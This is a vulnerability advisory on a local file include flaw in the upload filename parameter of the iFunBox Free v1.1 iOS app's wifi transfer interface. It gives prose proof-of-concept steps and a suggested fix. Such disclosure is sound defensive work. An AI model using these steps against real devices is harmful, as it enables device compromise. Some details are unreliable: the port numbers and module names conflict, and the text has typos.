Technical Details & Description:
================================
A local file include web vulnerability has been discovered in the official
iFunBox Free v1.1 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to
unauthorized include local file/path requests or system
specific path commands to compromise the mobile web-application.
The web vulnerability is located in the `filename` value of the `upload`
module. Remote attackers are able to inject own files with malicious
`filename` values in the `upload` POST method request to compromise the mobile
web-application. The local file/path include execution occcurs
in the index dir listing of the wifi interface context. The attacker is able to
inject the local file include request by usage of the `wifi
interface` in connection with the vulnerable upload request.
Remote attackers are also able to exploit the filename/albumname validation
issue in combination with persistent injected script codes to execute
different local malicious attacks requests. The attack vector is on the
application-side of the wifi service and the request method to inject is POST.
The security risk of the local file include web vulnerability is estimated as
high with a cvss (common vulnerability scoring system) count of 6.4.
Exploitation of the local file include vulnerability requires no user
interaction or privileged web-application user account. Successful exploitation
of the local file include web vulnerability results in mobile application or
connected device component compromise.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Upload (File)
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] iToolZip Wifi Interface
(localhost:80000)
Proof of Concept (PoC):
=======================
The local file include vulnerability can be exploited by local attackers
without user interaction or privileged application user account.
For security demonstration or to reproduce the security vulnerability follow
the provided information and steps below to continue.
1. Install the mobile app to your local iOS device (iphone or ipad)
[https://itunes.apple.com/de/app/ifunbox-free/id882209383]
2. Start the app and push in the right top corner the wifi transfer button
3. Take another device or computer that allows you to access the wifi file
transfer interface (localhost:8000)
4. Now, the attacker uploads a file and tampers the request to manipulate the
session information live
Note: He injects a payload to request a local file through the vulnerable
filename value in the upload POSt emthod request
5. The code execution occurs in the inject in the wifi file dir listing web
interface index (localhost:8000:8000/./[LOCAL FILE INCLUDE VULNERABILITY!].png)
6. Successful reproduce of the security vulnerability!

Solution - Fix & Patch:
=======================
The file include web vulnerability can be patched by a secure parse and encode
of the filename in the upload POST method request.
To prevent the execution filter the input and restrict it on input but encode
also the iToolZip wifi interface file dir list with the vulnerable name output
value.
Security Risk:
==============
The security risk of the local file include web vulnerability in the iToolZo
wifi web interface is estimated as high. (CVSS 6.4)
